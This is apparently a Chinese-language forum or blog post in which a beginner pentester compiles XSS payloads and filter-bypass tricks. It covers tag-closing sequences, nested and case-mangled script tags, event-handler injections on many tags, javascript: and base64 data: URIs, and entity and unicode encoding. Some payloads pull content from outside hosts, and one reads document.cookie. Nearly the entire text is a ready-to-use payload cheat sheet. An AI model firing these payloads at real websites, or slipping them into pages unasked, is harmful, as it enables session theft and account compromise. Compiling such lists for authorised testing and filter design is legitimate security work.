0x00前言
作为一个刚入行的菜鸟,之前对XSS测试的思路没有一个具体化的总结
今天下午写了一下关于测试XSS渗透测试过程的总结
希望大家能在底下写上自己常用的和好用的payload
谢谢!!!
0x01 关于闭合前方标签
首先自然是测试如何闭合前面的标签来成功插入自己的XSS代码,下面给出了几种常用的闭合
1. ’> ‘> “> “/> ‘>> “>> ‘”>> ‘>”> >”> >”’> ‘” “>
2. =’> ‘) } <%, <//, <!,<?可以被解析成<
面对\的转义单引号和双引号 怎么玩 –》宽字节 %c1'> 道理和宽字节注入一样
3.直接过滤尖括号的绕过 "'%&#> (此处借鉴宝哥,这些字符同样拿来结合上边的)
4.对于标签的闭合 具体还是看前端代码 看是在什么样的标签当中,需要对什么样的父标签进行闭合。。。。。
0x02 想办法改变纯纯的script标签
Eg.:<script>alert(/xss/)</script>
<script>被过滤怎么办
标签大小写的绕过:<Script>(大量空格)alert(/xss/)(大量空格)</SCRipt>
<Script>被一次过滤:<scr<script>ipt>alert(/xss/)</scr<script>ipt>
</script>也被过滤了: <scr<script>ipt>alert(/xss/)</scr</script>ipt>
多加几层试一试
Unioncode 16进制 均不可用
当我们的圆括号被过滤了
1.alert`/xss/`
2.`${alert `/xss/`}`
3. <svg><script>alert((大量空格)1) </script></svg>
4. <svg><script>alert(/1/)</script>
这个位置的alert被过滤了 怎么玩呢
- confirm() 和 prompt() 等效
- <script>\u0061\u006C\u0065\u0072\u0074(/xss/)</script> unioncode编码
- <script>(大量空格)+alert(/xss/)</script>
- <script>setTimeout(alert(88199),0)</script>这个能执行就OK了 也unioncode编码下
0x03 标签元素
1.与事件的组合
<div οnclick="alert('xss')">xss</div> <div onDbclick="alert('xss')">xss</div>
<div οnmοuseenter="alert('xss')">xss</div> <div οnmοuseup=alert(15)>xss</div>
<div οnmοuseοver=alert(15)>xss</div> <div onmousewheel=alert(15)>xss</div>
<div onmove=alert(15)>xss</div>
<div οnmοuseleave=alert(15)>xss</div> <div onmoveend=alert(15)>xss</div>
<div οnmοusemοve=alert(15)>xss</div> <div onmovestart=alert(15)>xss</div>
<div οnmοuseοut=alert(/xss/)>xss</div>
<a +上述事件>xss</a>
<p+上述事件>xss</p>
<span+上述事件>xss<span>
<anytag+上述事件>xss
<button+上述事件>xss
<form οnsubmit=”alert(/xss/)”><button>xss
<body οnlοad=alert(/xss/)>
<marquee onstart=alert(30)></marquee>
<select name=”” +上述鼠标事件><select>
<select autofocus οnfοcus=alert(1)>
<textarea autofocus οnfοcus=alert(1)>
<keygen autofocus οnfοcus=alert(1)>
<input οnfοcus=alert(/xss/) autofocus>
<input οnblur=alert(/xss/) autofocus><input autofocus>
如果以上事件或者标签被过滤了怎么办呢
大小写的绕过
<div/οnmοuseοver=alert(15)>xss</div>
利用对敏感字的过滤绕过
Eg. <div/onmou<script>seover=alert(15)>xss</div>
2.标签与属性的组合
利用SRC/href属性:
<iframe src=”javascript:alert(/xss/)”>
<a href=”javascript:alert(/xss/)”>
<script src=data:text/javascript,alert(/xss/)></script>
<iframe src="javascript:alert(/xss/)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
其他属性:
href=
action=
formaction=
location=
on*=(8/16)
name=
background=
poster=
src=
code=
data= //只支持base64
onxxx里面可以用十六跟八进制 href里面可以用十进制和十六进制
formaction”属性
<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME
“background”属性
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
“posters” 属性
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
“data”属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
“code”属性
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
属性内值被过滤了怎么办
首先当然还是大小写转换:
<a href=”javas(TAB)cript:alert(/xss/)”>
<a href=”javascript&#alert(/xss/)”> HTML属性内的值支持ASCII转码
<a href=”javascript:alert(/xss/)或者写在相同位置
<a href=”java	(�A/�D);script:alert(/xss/)>
<a href=”javascript:alert(/xss/)”>通过对值的实体编码
<a href=”java	script:alert(/xss/)”>
<a href=”javasc
ript:alert(/xss/)”>
<a href=” data:text/html;base64,PHNjcmlwdD5hbGVydCgiMSIpPC9zY3JpcHQ+” 玮协议
javascript:%0dalert(1) 冒号后面不能连接字符的
javascript:%0dhttp://www.0aa.me%0dalert(xss) href后边必须带url的
javascript://www.0aa.me%0dalert(xss) 协议后必须跟着网站
3.标签属性和事件组合
<img src=x οnerrοr=prompt(/xss/);>
<img/src=aaa.jpg οnerrοr=prompt(/xss/);>防src过滤
<video src=x οnerrοr=prompt(/xss/);>
<audio src=x οnerrοr=prompt(/xss/);>
过滤的话可以用类似二次嵌套的方式
<img/src=x one(过滤的内容)rror=alert(/xss/)>
其他绕过方式就是编码或者进制转换,以及上边的这些方法